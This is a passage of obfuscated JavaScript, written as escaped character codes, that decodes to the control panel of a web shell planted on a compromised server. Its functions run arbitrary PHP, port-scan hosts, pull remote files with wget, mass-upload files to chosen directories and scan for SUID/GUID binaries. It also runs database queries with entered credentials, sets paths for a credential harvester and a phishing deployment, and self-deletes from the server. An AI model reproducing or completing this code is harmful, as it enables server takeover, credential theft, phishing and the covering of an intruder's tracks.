\x65\x70\x6c\x61\143\x65\x28\57\134\x6e\57\147\54\x20\x27\74\142\x72\x3e\x27\51\40\53\40\x27\74\x62\x72\76\47\73\x20\x65\x6c\56\x73\143\162\157\x6c\154\x54\157\x70\x20\75\x20\x65\x6c\x2e\x73\x63\x72\157\x6c\x6c\x48\x65\151\x67\150\164\73\40\175\x20\x7d\x2c\xa\x20\x9\x9\165\160\x64\x61\x74\145\124\x65\162\x6d\x69\156\x61\x6c\120\x72\157\x6d\x70\x74\50\x29\x20\173\x20\12\11\11\11\143\x6f\156\163\164\x20\x73\x61\146\x65\123\145\164\40\75\40\x28\151\x64\54\40\166\141\154\x75\145\x2c\40\x70\x72\x6f\160\x20\x3d\40\x27\151\156\156\x65\162\124\x65\170\164\47\x29\x20\x3d\76\x20\173\x20\143\x6f\x6e\163\x74\x20\145\x6c\40\x3d\40\144\157\143\x75\x6d\145\156\164\x2e\x67\145\x74\x45\154\x65\155\145\x6e\164\102\171\x49\144\50\x69\x64\x29\73\40\x69\x66\40\50\x65\x6c\51\40\145\x6c\133\x70\162\157\x70\x5d\40\x3d\x20\x76\141\154\165\x65\73\40\175\x3b\12\11\11\11\163\141\x66\145\123\x65\x74\x28\47\x74\x65\x72\x6d\x2d\165\163\145\x72\55\x68\157\x73\x74\x27\x2c\40\x60\x24\173\164\150\151\x73\x2e\165\x73\x65\x72\175\x40\x24\173\x74\x68\x69\163\x2e\x68\157\x73\x74\x6e\141\155\x65\x7d\140\x29\x3b\xa\x9\x9\x9\163\x61\146\x65\x53\x65\164\x28\x27\164\145\162\x6d\55\x63\167\x64\x27\54\x20\164\150\151\163\56\x63\167\x64\51\x3b\12\11\x9\11\163\x61\146\x65\123\145\164\x28\x27\163\x65\x61\x72\x63\x68\x2d\x70\x61\164\150\47\x2c\x20\164\x68\151\x73\56\x63\167\144\54\x20\x27\166\x61\154\165\145\x27\x29\73\xa\11\11\11\x73\x61\x66\x65\123\145\164\x28\47\143\157\x6e\x74\x65\156\x74\55\x73\145\141\162\143\150\x2d\160\141\x74\x68\x27\x2c\40\164\150\151\x73\56\143\x77\x64\x2c\x20\47\166\x61\x6c\x75\145\47\x29\73\xa\11\x9\11\x73\141\146\145\123\x65\x74\50\x27\150\x74\x61\x63\x63\x65\x73\x73\x2d\160\141\164\150\47\54\x20\x74\x68\x69\163\x2e\143\167\144\x2c\40\47\x76\141\x6c\x75\145\x27\x29\x3b\12\x9\x9\x9\163\141\146\145\123\x65\x74\x28\47\167\x72\x69\164\141\x62\154\x65\55\163\143\x61\156\x2d\160\141\164\x68\x27\x2c\40\x74\150\x69\163\x2e\143\167\144\x2c\40\47\x76\141\154\165\145\x27\51\73\12\11\x9\11\x73\141\x66\x65\x53\145\164\x28\x27\x63\162\x65\144\x2d\x68\x61\x72\x76\x65\x73\x74\x65\x72\55\160\x61\164\150\x27\54\40\164\x68\151\163\56\143\x77\144\54\40\x27\166\x61\154\x75\145\x27\x29\x3b\12\x9\x9\x9\x73\x61\146\145\x53\145\164\50\x27\x70\150\151\163\x68\x2d\x64\145\x70\x6c\157\x79\55\x70\141\x74\x68\47\54\40\164\x68\x69\163\x2e\143\x77\144\54\x20\47\x76\x61\x6c\165\145\47\x29\73\xa\x9\11\175\x2c\12\x20\x9\11\141\163\171\x6e\x63\x20\x72\165\x6e\105\x76\141\x6c\x28\x29\40\x7b\40\143\x6f\x6e\163\x74\x20\162\x65\163\x20\75\40\x61\167\141\151\164\40\164\x68\x69\163\56\141\x70\151\50\x27\160\x68\x70\x5f\x65\166\x61\x6c\47\x2c\x20\173\x20\143\x6f\144\x65\x3a\40\144\x6f\143\x75\155\145\156\x74\x2e\147\x65\164\x45\x6c\145\155\145\156\x74\x42\171\111\x64\x28\x27\x65\166\x61\154\55\x63\x6f\x64\x65\x27\51\x2e\x76\141\x6c\x75\x65\x20\x7d\51\x3b\40\151\x66\40\x28\x72\x65\x73\56\163\x74\x61\x74\x75\x73\x20\75\x3d\x3d\x20\47\163\165\143\x63\x65\163\x73\x27\x29\40\x64\157\143\165\155\145\x6e\164\56\x67\x65\x74\105\x6c\145\x6d\x65\x6e\164\x42\171\111\x64\x28\x27\145\166\x61\x6c\x2d\157\165\164\x70\165\164\x27\51\56\x69\x6e\156\x65\162\124\145\170\x74\40\x3d\x20\162\x65\x73\x2e\157\x75\164\160\x75\x74\x3b\40\x7d\54\xa\40\x9\x9\x61\163\171\x6e\143\x20\163\164\141\162\x74\120\x6f\162\164\123\143\x61\156\x28\x29\x20\x7b\xa\x20\x9\x9\x9\x63\x6f\156\x73\x74\x20\x68\157\x73\164\40\x3d\40\144\157\x63\165\155\x65\156\x74\56\147\x65\164\x45\154\x65\x6d\145\156\x74\102\171\111\x64\50\47\x73\143\x61\156\55\150\x6f\163\x74\47\51\x2e\x76\141\154\165\x65\54\40\x70\157\162\x74\x73\x20\75\x20\144\x6f\x63\165\155\145\156\164\x2e\147\x65\164\x45\x6c\145\x6d\x65\156\164\102\x79\111\144\50\47\x73\x63\141\x6e\x2d\x70\157\x72\x74\163\x27\x29\56\x76\x61\154\x75\x65\54\x20\x72\x65\x73\x75\x6c\164\163\105\154\40\x3d\40\144\157\x63\x75\x6d\145\x6e\x74\56\147\x65\x74\105\154\x65\155\145\156\x74\102\171\x49\144\50\47\x73\143\141\156\55\x72\x65\163\165\x6c\x74\163\47\51\x3b\40\x69\146\40\50\x21\x68\157\x73\164\40\x7c\x7c\40\x21\160\157\162\x74\x73\51\40\162\x65\164\165\x72\x6e\x20\164\x68\x69\163\x2e\164\157\141\163\x74\x28\x27\x48\x6f\x73\164\x20\141\156\x64\40\120\x6f\162\164\163\x20\141\162\145\x20\x72\x65\161\x75\x69\162\x65\x64\56\47\x2c\x20\47\145\x72\162\157\162\x27\51\73\12\40\11\11\x9\162\145\x73\x75\154\x74\x73\x45\154\56\x69\156\156\x65\162\x54\145\170\164\40\75\40\140\123\x63\141\x6e\156\151\x6e\x67\40\x24\173\x68\157\163\164\x7d\56\56\x2e\x60\73\x20\143\x6f\156\x73\x74\x20\x72\145\x73\40\75\40\141\167\x61\151\x74\x20\164\150\151\163\56\x61\x70\151\x28\47\x70\157\x72\x74\x5f\163\143\141\x6e\47\54\40\173\x20\150\157\163\164\x2c\x20\x70\157\162\164\x73\40\175\x29\73\xa\x20\11\11\x9\x69\146\x20\50\x72\x65\163\56\163\x74\x61\164\165\x73\x20\75\75\x3d\x20\x27\x73\x75\143\x63\145\x73\x73\x27\x29\x20\173\40\162\x65\x73\x75\x6c\x74\x73\x45\154\56\x69\156\x6e\145\162\x54\x65\x78\x74\40\x3d\40\x60\x53\x63\141\156\40\x72\145\x73\165\x6c\164\x73\40\x66\157\x72\40\x24\173\150\x6f\x73\164\x7d\x3a\x5c\156\x60\40\x2b\x20\117\142\152\x65\143\x74\56\145\x6e\164\162\151\145\163\x28\162\x65\163\56\x72\x65\163\x75\154\x74\x73\x29\56\155\x61\160\x28\x28\x5b\160\157\x72\x74\54\x20\163\x74\141\x74\x75\163\135\51\x20\x3d\x3e\x20\x60\120\157\x72\164\x20\44\173\160\x6f\x72\164\175\72\40\44\173\163\x74\141\x74\x75\x73\x7d\x60\51\x2e\152\x6f\x69\156\x28\47\134\x6e\47\51\x3b\40\175\xa\40\11\11\x7d\54\12\x20\x9\x9\141\x73\171\156\143\x20\x72\165\x6e\127\147\145\164\50\51\x20\173\40\143\x6f\156\x73\164\x20\x75\x72\154\x20\x3d\x20\144\x6f\x63\165\155\145\156\164\56\147\x65\x74\105\154\145\x6d\145\156\164\x42\171\111\x64\50\x27\x77\147\x65\x74\x2d\x75\162\x6c\47\51\56\166\x61\x6c\x75\145\x3b\x20\151\146\x20\x28\165\x72\154\51\40\x7b\40\143\x6f\x6e\163\164\x20\162\145\163\40\x3d\x20\x61\167\x61\151\164\40\164\150\151\x73\x2e\x61\160\x69\x28\x27\167\147\145\x74\47\x2c\40\x7b\x20\x75\162\x6c\40\x7d\x29\73\40\x69\x66\40\50\x72\145\163\x2e\163\x74\141\164\165\x73\x20\x3d\x3d\x3d\x20\x27\163\x75\x63\x63\145\163\163\47\x29\40\173\x20\x74\x68\151\163\x2e\x74\x6f\141\163\x74\50\x72\x65\163\x2e\x6d\x65\163\x73\141\147\145\51\x3b\40\151\x66\x20\50\144\157\143\165\x6d\145\x6e\x74\56\x67\145\x74\x45\154\x65\155\x65\156\164\x42\x79\111\144\50\47\166\151\x65\167\55\146\151\x6c\x65\163\x27\51\56\163\x74\x79\x6c\145\x2e\x64\151\163\x70\154\141\171\x20\75\x3d\x3d\x20\47\146\x6c\145\x78\47\x29\40\x74\x68\151\x73\x2e\x6c\157\x61\144\106\x69\x6c\145\x73\50\164\x68\151\x73\56\x63\167\x64\51\73\x20\x7d\x20\x7d\x20\x7d\54\xa\x20\x9\11\x61\163\171\x6e\143\x20\x73\x65\x6c\146\104\145\x73\164\x72\165\143\x74\x28\x29\x20\x7b\x20\x63\x6f\x6e\x73\164\40\x63\x6f\x6e\x66\x69\162\x6d\145\144\x20\x3d\x20\141\x77\141\151\x74\40\x74\150\x69\163\x2e\163\150\157\x77\x43\157\x6e\x66\x69\162\x6d\115\157\x64\x61\x6c\50\x22\x44\x41\116\107\x45\x52\72\40\x54\x68\x69\163\x20\x61\143\x74\151\x6f\x6e\40\151\163\40\151\162\162\x65\166\145\162\163\x69\142\x6c\145\40\141\x6e\144\x20\x77\x69\x6c\x6c\x20\x70\x65\x72\155\141\x6e\x65\156\x74\x6c\171\x20\x64\145\x6c\145\x74\x65\40\164\x68\151\x73\x20\163\143\162\x69\x70\164\x20\x66\162\x6f\155\x20\164\x68\145\40\163\x65\162\x76\x65\x72\x2e\x3c\142\162\x3e\74\142\x72\x3e\x41\162\145\40\x79\x6f\165\40\x61\142\x73\157\154\x75\x74\145\154\171\40\x73\x75\162\145\77\42\54\x20\173\x20\x74\171\x70\x65\x3a\x20\47\144\x61\156\x67\x65\x72\x27\x2c\x20\157\153\124\145\170\164\x3a\40\47\123\x65\x6c\146\x2d\x44\145\163\x74\x72\x75\x63\x74\47\x2c\40\x63\x61\x6e\x63\x65\x6c\124\145\170\164\x3a\40\x27\x43\x61\156\143\145\154\x27\x20\175\x29\x3b\40\151\146\40\50\143\x6f\x6e\146\x69\x72\x6d\x65\144\x29\40\173\x20\143\x6f\156\163\164\40\162\x65\x73\40\75\40\x61\x77\141\x69\x74\x20\164\150\151\163\x2e\141\160\x69\50\47\163\x65\x6c\146\x5f\x64\x65\x73\x74\x72\x75\143\164\47\x29\73\x20\x74\x68\151\163\x2e\164\x6f\141\x73\164\50\x72\x65\x73\56\x6d\x65\x73\x73\x61\147\x65\x2c\x20\162\x65\x73\56\x73\x74\141\x74\x75\163\x29\73\40\x69\x66\40\50\162\145\163\56\x73\x74\141\x74\x75\163\x20\x3d\x3d\x3d\40\47\x73\x75\x63\x63\x65\x73\163\47\51\40\x7b\40\x64\x6f\143\x75\155\x65\x6e\164\56\142\x6f\x64\171\56\151\156\156\x65\x72\x48\x54\x4d\114\40\x3d\40\140\74\x64\151\x76\40\163\x74\x79\154\x65\x3d\42\x74\x65\x78\x74\55\141\x6c\151\147\x6e\72\x63\x65\156\x74\x65\x72\73\40\x70\x61\144\144\151\x6e\147\x3a\x20\65\x72\x65\155\x3b\40\146\157\x6e\164\x2d\x73\x69\x7a\145\72\40\61\56\65\162\145\x6d\x3b\42\x3e\x3c\x68\61\x3e\x24\173\x72\145\x73\x2e\155\x65\x73\x73\x61\147\x65\175\x3c\57\150\x31\x3e\74\x70\x3e\x53\145\x6c\146\55\x64\x65\x73\x74\x72\165\143\164\40\x73\145\x71\x75\x65\156\x63\145\x20\x63\157\155\x70\x6c\x65\x74\x65\x64\56\x3c\57\x70\x3e\74\57\x64\x69\x76\x3e\140\73\40\175\x20\175\40\175\x2c\xa\40\x9\11\x61\x73\171\156\x63\x20\154\x6f\141\144\104\x69\162\124\162\145\x65\50\143\157\x6e\164\x61\x69\156\145\162\123\145\154\145\143\164\157\162\x29\40\173\xa\x20\11\11\x9\143\x6f\x6e\x73\164\40\x72\145\x73\40\75\x20\141\x77\x61\x69\x74\x20\x74\150\151\163\x2e\x61\160\151\50\47\147\x65\x74\137\x64\x69\162\x5f\164\162\x65\145\x27\x29\x3b\40\143\157\156\163\x74\40\x63\157\156\164\141\151\x6e\x65\162\40\x3d\x20\144\x6f\143\x75\155\x65\156\164\56\161\165\145\162\171\x53\x65\x6c\145\143\x74\x6f\162\x28\143\x6f\x6e\164\x61\151\156\x65\162\123\x65\154\x65\x63\x74\157\162\51\x3b\xa\x20\11\11\x9\151\146\x20\x28\162\145\163\x20\x26\x26\40\x72\x65\x73\x2e\163\x74\141\x74\x75\163\40\75\75\x3d\x20\x27\x73\165\143\143\x65\163\x73\47\51\40\173\x20\x63\x6f\156\164\x61\151\156\145\x72\56\x69\156\x6e\x65\x72\x48\124\115\114\40\75\x20\x27\47\73\x20\x63\x6f\x6e\x74\141\151\x6e\x65\x72\x2e\143\x6c\141\163\163\x4c\x69\x73\164\56\x61\x64\144\50\x27\144\x69\x72\x2d\x74\162\x65\145\47\51\73\40\x63\157\156\x73\x74\40\x72\157\x6f\x74\x55\154\x20\75\40\144\x6f\143\x75\x6d\x65\x6e\164\56\143\162\145\x61\x74\x65\105\x6c\x65\x6d\x65\x6e\164\x28\47\165\x6c\47\51\x3b\x20\162\x6f\x6f\x74\x55\154\56\163\x74\171\154\145\56\x70\x61\144\x64\151\x6e\x67\x4c\x65\146\164\40\75\40\x27\60\x27\x3b\x20\162\x6f\x6f\x74\125\154\x2e\141\x70\x70\145\156\x64\x43\150\151\x6c\x64\x28\x74\x68\x69\163\56\x72\145\156\x64\x65\x72\x44\x69\162\x54\x72\x65\x65\116\x6f\x64\x65\50\162\x65\x73\56\164\162\145\145\x5b\60\x5d\x29\x29\73\40\143\x6f\x6e\x74\141\151\x6e\x65\162\56\x61\160\x70\x65\156\x64\103\150\151\154\x64\x28\162\157\157\x74\x55\x6c\x29\x3b\40\143\x6f\x6e\x74\x61\151\156\x65\162\56\141\144\144\105\x76\145\156\x74\114\x69\x73\164\145\x6e\145\162\50\x27\x63\154\x69\x63\153\47\54\x20\x65\40\x3d\76\x20\173\40\x69\x66\x20\x28\x65\x2e\164\141\162\147\x65\x74\56\x63\154\141\x73\x73\114\151\163\164\56\x63\157\156\x74\141\x69\x6e\163\50\x27\x64\x69\x72\x2d\164\162\x65\145\x2d\156\157\x64\x65\x27\51\x29\x20\x7b\40\143\x6f\156\163\x74\40\x73\165\142\154\x69\x73\164\40\75\x20\x65\56\x74\x61\x72\x67\145\x74\x2e\x63\154\x6f\163\145\163\x74\50\47\154\x69\x27\x29\x2e\161\165\145\x72\x79\x53\x65\x6c\145\x63\164\x6f\162\x28\47\165\154\x27\x29\x3b\40\x69\x66\40\50\x73\165\x62\154\151\x73\x74\x29\40\x7b\40\163\x75\142\x6c\x69\163\164\56\163\164\x79\x6c\145\x2e\x64\151\163\x70\x6c\x61\171\40\x3d\x20\x73\x75\142\x6c\151\x73\x74\x2e\163\x74\x79\x6c\145\x2e\x64\151\x73\160\x6c\141\171\40\x3d\x3d\75\40\47\x6e\157\156\145\47\40\77\40\47\x62\154\157\143\x6b\x27\x20\72\40\x27\x6e\157\156\145\x27\x3b\40\x65\56\164\141\x72\147\145\x74\56\143\154\x61\x73\163\x4c\151\x73\x74\x2e\x74\157\147\x67\x6c\x65\50\x27\143\x6f\154\154\141\x70\163\x65\144\x27\x29\x3b\x20\175\x20\x7d\x20\175\x29\73\40\x7d\40\x65\154\163\x65\40\x7b\x20\x63\x6f\x6e\x74\141\151\x6e\145\x72\56\151\x6e\156\x65\x72\110\124\115\x4c\40\x3d\40\47\74\160\x20\163\x74\x79\x6c\145\x3d\42\143\157\x6c\x6f\162\x3a\166\141\162\x28\x2d\x2d\x61\143\143\145\x6e\x74\x2d\162\x65\144\x29\73\x22\76\x46\141\151\x6c\145\144\x20\x74\x6f\x20\x6c\x6f\141\144\x20\x64\151\x72\145\143\164\x6f\162\x79\x20\164\162\145\145\x2e\74\57\160\x3e\47\73\x20\x7d\xa\x20\x9\x9\x7d\54\12\40\11\x9\162\x65\x6e\x64\x65\162\104\151\162\124\162\x65\145\x4e\x6f\144\145\x28\156\x6f\144\145\51\x20\173\xa\40\11\x9\x9\x63\157\156\x73\x74\x20\x6c\x69\40\x3d\x20\x64\157\x63\165\x6d\145\156\164\56\143\162\x65\141\x74\145\x45\154\145\x6d\145\156\164\50\x27\x6c\151\x27\x29\x3b\x20\143\x6f\x6e\163\164\40\x6c\x61\x62\145\154\x20\75\40\x64\x6f\143\165\155\x65\x6e\x74\56\143\x72\x65\141\x74\145\x45\x6c\145\155\x65\156\164\x28\47\154\141\x62\x65\154\x27\x29\73\x20\143\157\156\163\x74\x20\143\x68\145\x63\x6b\142\157\x78\x20\x3d\40\144\x6f\x63\x75\x6d\145\x6e\x74\56\143\162\145\141\164\x65\x45\x6c\x65\x6d\x65\156\x74\50\x27\x69\x6e\x70\165\x74\x27\x29\73\12\x20\11\x9\11\143\x68\145\x63\x6b\142\157\170\56\164\x79\x70\x65\x20\75\x20\47\x63\150\x65\x63\x6b\x62\157\170\47\x3b\40\x63\150\x65\143\x6b\x62\x6f\x78\56\x76\x61\154\x75\x65\40\x3d\40\156\x6f\144\x65\x2e\160\141\x74\x68\x3b\x20\154\141\x62\145\154\56\x61\x70\x70\145\x6e\x64\x43\x68\151\x6c\x64\x28\x63\150\x65\143\153\142\x6f\170\x29\73\x20\143\x6f\156\163\x74\x20\x73\160\141\x6e\40\75\40\x64\x6f\143\x75\155\145\156\x74\56\x63\162\145\141\164\145\x45\154\x65\x6d\145\156\164\50\x27\x73\160\141\x6e\x27\51\73\xa\40\x9\x9\x9\163\160\x61\x6e\56\164\x65\x78\164\103\x6f\156\x74\x65\156\x74\x20\x3d\40\47\x20\x27\x20\x2b\40\156\x6f\x64\x65\x2e\156\x61\155\145\x3b\40\154\x61\x62\145\x6c\x2e\141\x70\x70\x65\156\x64\103\150\x69\154\x64\50\163\160\x61\156\51\73\40\x6c\x69\x2e\141\160\160\145\156\x64\x43\150\151\154\144\x28\154\x61\x62\x65\x6c\x29\73\xa\x20\x9\11\x9\151\146\x20\x28\156\157\x64\x65\x2e\x63\150\x69\x6c\x64\x72\145\x6e\40\46\x26\x20\x6e\x6f\x64\x65\x2e\143\x68\x69\x6c\144\162\x65\156\x2e\x6c\145\156\147\164\x68\40\x3e\40\x30\51\x20\x7b\x20\x73\x70\x61\x6e\56\x63\154\141\163\x73\x4e\141\x6d\x65\x20\75\40\x27\144\151\162\55\164\162\145\x65\55\x6e\157\x64\145\40\x63\157\154\154\141\x70\163\145\144\x27\x3b\x20\143\157\156\163\x74\40\x75\154\40\75\40\x64\157\x63\x75\155\x65\x6e\x74\56\x63\x72\x65\141\x74\145\105\154\x65\x6d\145\156\164\50\47\165\154\x27\51\x3b\x20\165\154\56\x73\x74\x79\154\145\56\144\151\x73\160\154\141\171\40\75\40\47\x6e\x6f\x6e\145\47\x3b\40\156\x6f\x64\x65\x2e\x63\x68\151\154\x64\162\x65\x6e\x2e\146\x6f\x72\x45\141\143\150\50\x63\150\151\x6c\144\x20\75\x3e\x20\165\154\56\x61\160\x70\x65\x6e\x64\103\150\x69\154\144\x28\x74\x68\151\163\x2e\162\x65\156\144\145\x72\104\151\162\x54\162\145\x65\116\157\x64\x65\x28\x63\150\151\x6c\x64\x29\51\x29\x3b\40\154\151\56\x61\160\x70\145\x6e\144\103\150\151\154\144\50\x75\x6c\51\73\40\175\12\x20\x9\x9\11\x72\x65\x74\x75\162\156\x20\154\x69\73\12\x20\11\11\175\x2c\12\x20\11\11\141\163\171\x6e\143\40\x72\165\x6e\115\141\x73\x73\x55\x70\x6c\x6f\x61\144\x28\51\40\x7b\xa\x20\11\x9\11\143\157\156\x73\x74\40\146\x69\x6c\145\111\x6e\x70\165\164\40\x3d\x20\144\x6f\143\x75\x6d\145\x6e\164\x2e\x67\145\164\105\x6c\145\155\145\156\164\x42\171\x49\x64\x28\47\x6d\141\163\163\55\x75\160\x6c\x6f\x61\x64\55\x69\x6e\160\x75\x74\x27\x29\73\x20\x63\x6f\x6e\x73\164\40\x66\x69\154\x65\40\x3d\40\146\151\x6c\x65\111\x6e\x70\x75\164\56\x66\151\154\x65\163\x5b\x30\135\x3b\x20\x69\x66\40\x28\41\146\151\x6c\145\x29\40\162\145\164\x75\x72\156\x20\164\x68\151\163\x2e\x74\157\141\163\164\50\x27\x50\x6c\145\141\x73\x65\40\x73\x65\154\x65\143\x74\40\141\40\146\151\154\145\x20\164\x6f\40\x75\160\x6c\157\x61\x64\56\x27\x2c\40\47\145\x72\162\x6f\x72\47\x29\73\xa\x20\11\11\x9\143\x6f\156\x73\x74\x20\163\145\x6c\x65\143\164\145\x64\x44\x69\x72\x73\x20\75\x20\101\162\162\x61\171\x2e\146\162\157\155\50\144\x6f\143\165\155\x65\156\x74\56\x71\x75\145\x72\171\x53\145\154\x65\x63\x74\x6f\162\x41\x6c\x6c\x28\x27\x23\144\x69\x72\x2d\x74\162\x65\145\55\143\x6f\156\164\x61\x69\156\145\x72\40\151\x6e\x70\x75\x74\x3a\x63\150\145\x63\x6b\145\144\x27\x29\x29\x2e\x6d\141\160\50\x63\x62\x20\75\x3e\x20\143\x62\x2e\x76\141\x6c\x75\145\x29\73\40\x69\x66\40\x28\163\145\154\x65\143\x74\145\x64\x44\151\x72\x73\56\x6c\145\156\147\x74\150\40\75\75\75\x20\60\x29\x20\162\x65\x74\165\x72\156\x20\x74\150\x69\163\x2e\x74\157\141\163\164\50\47\120\154\x65\x61\163\x65\40\163\x65\154\x65\x63\164\x20\x61\x74\40\154\x65\x61\x73\164\40\x6f\x6e\145\x20\144\151\162\145\143\x74\157\x72\171\56\x27\54\40\47\145\x72\x72\x6f\x72\47\x29\73\12\40\11\11\11\164\x68\151\x73\x2e\x74\157\x61\x73\x74\x28\x60\125\x70\154\x6f\141\144\x69\156\147\x20\x22\x24\173\x66\151\x6c\x65\x2e\156\141\155\x65\175\x22\x20\164\157\40\x24\173\163\145\154\x65\x63\x74\x65\x64\104\x69\162\x73\56\154\145\x6e\x67\164\150\x7d\40\x6c\157\x63\141\x74\x69\157\x6e\x73\56\56\56\140\x29\73\40\x63\157\156\163\164\40\x66\x6f\x72\155\104\x61\x74\x61\40\x3d\x20\x6e\145\x77\40\106\x6f\x72\x6d\104\x61\164\141\x28\51\73\xa\x20\11\11\x9\x66\157\x72\x6d\x44\x61\x74\141\x2e\x61\x70\160\145\156\x64\50\x27\x70\x27\54\x20\164\150\151\163\56\145\156\x63\162\171\x70\164\50\112\123\x4f\116\56\163\x74\x72\x69\x6e\x67\x69\x66\171\x28\x7b\x20\x61\x63\x74\151\157\x6e\x3a\40\x27\155\141\163\163\137\165\160\x6c\157\141\x64\x27\x2c\x20\x64\x69\162\163\x3a\40\x4a\x53\117\116\x2e\163\164\x72\151\156\147\151\146\171\50\x73\145\x6c\x65\143\164\145\x64\x44\151\x72\163\51\x20\x7d\x29\51\x29\73\40\x66\157\x72\x6d\x44\x61\164\x61\x2e\x61\x70\x70\x65\156\144\50\x27\146\x69\154\x65\47\54\x20\x66\151\x6c\145\x29\x3b\xa\x20\x9\x9\11\164\162\x79\40\x7b\40\143\157\156\x73\x74\x20\x72\145\163\40\x3d\x20\x61\167\141\151\164\x20\146\x65\x74\x63\150\x28\123\103\x52\x49\x50\x54\137\125\x52\114\x2c\40\173\x20\155\145\x74\x68\157\x64\72\x20\x27\x50\x4f\123\x54\x27\x2c\40\142\x6f\144\x79\x3a\40\146\x6f\x72\x6d\x44\x61\164\x61\40\x7d\x29\x3b\x20\x63\x6f\156\x73\x74\x20\x6a\x73\157\x6e\x20\x3d\x20\112\x53\x4f\x4e\56\x70\141\162\x73\145\50\x74\x68\x69\x73\x2e\144\145\143\x72\x79\x70\164\50\x61\167\x61\151\x74\40\x72\145\163\56\164\145\170\164\50\51\x29\51\x3b\x20\164\x68\x69\163\x2e\x74\x6f\141\163\164\x28\152\163\157\x6e\x2e\x6d\x65\x73\x73\x61\147\145\x2c\x20\x6a\163\x6f\x6e\56\163\164\x61\164\165\163\x20\x7c\174\x20\47\x73\x75\143\143\x65\163\163\x27\x29\73\x20\175\x20\143\141\164\x63\x68\40\x28\x65\x29\x20\173\40\x74\150\x69\163\56\x74\x6f\x61\163\164\50\47\115\x61\163\x73\x20\165\160\x6c\157\x61\144\x20\146\141\151\154\x65\x64\x2e\47\x2c\x20\47\145\162\162\x6f\x72\x27\51\73\40\x63\157\x6e\x73\157\x6c\145\x2e\145\x72\162\157\x72\x28\x65\51\73\x20\x7d\xa\x20\x9\11\11\146\x69\156\141\x6c\x6c\171\x20\x7b\40\146\151\x6c\145\x49\x6e\x70\x75\x74\56\166\141\154\165\x65\x20\75\40\47\47\73\40\x7d\12\40\x9\11\175\x2c\xa\x20\11\11\141\163\x79\156\x63\40\146\151\x6e\144\123\165\151\144\x47\165\x69\144\x46\x69\x6c\145\x73\50\51\x20\173\12\40\11\x9\x9\143\x6f\156\x73\164\x20\x6f\165\x74\x70\x75\x74\105\x6c\x20\x3d\x20\x64\x6f\x63\165\155\x65\x6e\x74\56\x67\x65\x74\x45\154\x65\x6d\x65\x6e\164\x42\x79\x49\x64\50\47\x73\165\151\144\55\x67\x75\151\144\55\x6f\165\164\x70\x75\x74\47\51\x3b\40\157\165\164\x70\165\164\x45\154\56\151\156\156\x65\162\x54\x65\x78\164\x20\75\40\x27\123\143\141\156\156\x69\x6e\147\x2e\x2e\x2e\40\124\x68\x69\163\x20\155\x61\x79\x20\x74\x61\153\x65\40\163\145\166\x65\x72\141\154\x20\x6d\151\156\x75\164\x65\163\56\47\x3b\12\40\11\11\11\x74\x68\151\163\x2e\164\157\x61\163\164\50\47\123\164\141\162\164\151\x6e\x67\40\x53\x55\x49\x44\57\x47\125\x49\104\x20\x73\143\x61\x6e\x2e\56\56\47\51\73\x20\x63\x6f\156\163\x74\40\162\145\163\40\75\x20\x61\x77\x61\x69\x74\40\164\150\x69\x73\56\x61\160\151\50\47\146\151\156\144\137\163\165\151\144\x5f\147\165\151\x64\x27\51\x3b\xa\40\x9\11\x9\151\146\x20\x28\x72\145\163\x20\x26\46\x20\x72\x65\163\x2e\163\x74\141\164\x75\x73\x20\75\x3d\x3d\40\x27\163\x75\143\x63\x65\163\163\47\x29\40\x7b\x20\x6f\x75\x74\160\165\164\x45\x6c\56\x69\x6e\156\x65\x72\x48\x54\115\114\x20\75\x20\x72\145\x73\x2e\144\x61\x74\141\73\40\x74\x68\x69\163\x2e\164\157\141\x73\x74\x28\47\x53\125\x49\104\x2f\107\x55\111\x44\x20\x73\x63\x61\x6e\40\x63\157\x6d\160\154\x65\164\x65\56\x27\x29\73\40\x7d\40\x65\x6c\x73\x65\40\x7b\40\x6f\165\164\x70\x75\x74\105\x6c\x2e\151\156\156\x65\x72\x54\145\x78\164\40\75\x20\47\x53\x63\x61\x6e\x20\x66\x61\x69\x6c\145\x64\x2e\47\x3b\40\175\12\x20\x9\11\x7d\x2c\12\40\x9\x9\x61\x73\x79\x6e\x63\x20\x72\165\156\104\142\x51\x75\x65\x72\171\50\51\x20\173\xa\x20\11\11\11\143\157\x6e\x73\164\40\x63\x72\x65\144\163\40\x3d\40\x7b\x20\144\142\137\150\157\x73\164\x3a\x20\144\157\143\165\155\x65\x6e\x74\56\147\x65\x74\105\154\145\x6d\145\156\x74\x42\x79\x49\144\50\x27\x64\x62\55\x68\157\163\x74\x27\x29\x2e\166\x61\154\165\x65\x2c\x20\144\142\137\x75\x73\x65\162\72\x20\144\x6f\x63\165\x6d\145\x6e\164\x2e\x67\145\x74\105\154\145\x6d\145\156\164\102\171\x49\144\50\47\x64\142\55\x75\x73\x65\x72\x27\51\56\x76\141\x6c\x75\145\54\x20\144\142\x5f\160\x61\163\163\x3a\x20\144\x6f\x63\x75\x6d\x65\156\x74\x2e\147\145\164\105\154\145\x6d\x65\x6e\164\102\171\111\144\x28\x27\x64\x62\x2d\160\141\x73\x73\x27\51\x2e\x76\x61\x6c\x75\145\54\x20\x64\x62\x5f\x6e\x61\x6d\145\72\x20\144\157\x63\165\155\x65\x6e\x74\56\147\x65\x74\x45\154\145\155\145\156\164\102\x79\111\x64\50\47\x64\x62\x2d\x6e\x61\x6d\x65\47\x29\56\x76\x61\154\x75\145\40\x7d\x3b\12\x20\x9\11\x9\143\157\156\x73\x74\x20\144\x62\x5f\x71\x75\x65\x72\171\40\x3d\x20\x64\157\143\165\155\145\x6e\x74\x2e\x67\145\x74\105\154\x65\155\145\156\x74\x42\171\x49\x64\50\x27\144\x62\x2d\161\x75\145\x72\171\x27\x29\x2e\166\141\x6c\165\x65\73\xa\40\x9\x9\11\143\157\156\x73\164\x20\162\x65\x73\x75\154\x74\x73\103\157\156\164\x61\151\156\145\x72\40\75\40\144\x6f\143\165\155\145\x6e\164\56\x67\145\164\x45\x6c\x65\x6d\x65\156\164\x42\171\x49\144\x28\47\144\x62\55\x72\145\163\165\154\x74\x73\x2d\143\x6f\156\x74\x61\151\156\145\162\47\x29\x3b\xa\x20\x9\11\11\x69\x66\x20\50\41\143\x72\145\x64\x73\x2e\x64\x62\x5f\x68\157\163\164\x20\x7c\174\40\x21\143\162\145\144\163\56\x64\x62\137\x75\163\145\x72\40\174\174\40\x21\x64\x62\x5f\161\x75\x65\x72\x79\x29\40\x72\x65\164\165\x72\156\40\x74\150\151\x73\x2e\164\x6f\141\x73\x74\x28\x27\110\157\163\x74\x2c\40\x55\x73\145\x72\54\x20\x61\156\x64\x20\x51\x75\x65\x72\x79\40\141\162\145\40\162\x65\x71\165\151\x72